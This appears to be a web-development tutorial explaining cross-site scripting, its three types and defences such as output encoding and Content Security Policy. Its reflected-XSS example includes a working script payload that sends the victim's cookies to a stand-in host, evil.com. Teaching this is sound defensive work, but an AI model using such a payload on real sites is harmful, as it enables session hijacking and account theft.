Cross-Site Scripting (XSS) is one of the most prevalent web security vulnerabilities, allowing attackers to inject malicious scripts into web pages viewed by other users. Understanding XSS is essential for any developer building or securing web applications.
XSS (Cross-Site Scripting) is a client-side code injection attack where an attacker injects malicious JavaScript into a trusted website, which then executes in a victim's browser. The browser cannot distinguish between legitimate site scripts and the injected payload, so it runs both with equal trust. The name 'cross-site' refers to the attacker's script operating under the context and privileges of the target site.
A successful XSS attack can let an attacker steal session cookies, hijack user accounts, redirect users to phishing pages, or silently perform actions on behalf of the victim. Because the malicious code runs in the browser with the same trust as the real site, it can access anything the legitimate JavaScript can — including localStorage, cookies, and the DOM. XSS consistently ranks in the OWASP Top 10 most critical web application security risks.
Stored (Persistent) XSS embeds the malicious script into the server's database, so every user who loads the affected page executes it. Reflected XSS sends the payload via a URL or form input that is immediately echoed back in the server's response without being stored. DOM-based XSS never touches the server — the vulnerability lives entirely in client-side JavaScript that unsafely writes attacker-controlled data into the DOM.
In a typical reflected XSS scenario, an attacker crafts a URL like https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>. If the server renders the query parameter directly into the HTML response without sanitization, the victim's browser parses and executes the injected script. The attacker can then capture the victim's session cookie and use it to impersonate them on the target site.
The primary defense is context-aware output encoding — HTML-encode data before inserting it into HTML, JavaScript-encode before inserting into scripts, and URL-encode before inserting into URLs. Use a Content Security Policy (CSP) header to restrict which scripts the browser is allowed to execute, providing a strong second layer of defense. Modern frameworks like React and Angular escape output by default, but developers must still avoid dangerous patterns like dangerouslySetInnerHTML or direct innerHTML assignment with user-supplied data.
Developers often assume their framework handles all escaping automatically, but bypasses are common when raw HTML rendering APIs are used explicitly or when third-party libraries introduce unsafe patterns. Always validate and sanitize input on the server side as well, even though output encoding is the true fix — defense in depth matters. Regularly audit your CSP using tools like Google's CSP Evaluator to ensure it is strict enough to meaningfully block script injection.
© RM Full Stack & AI Engineer · All guides · Roadmaps · Open the app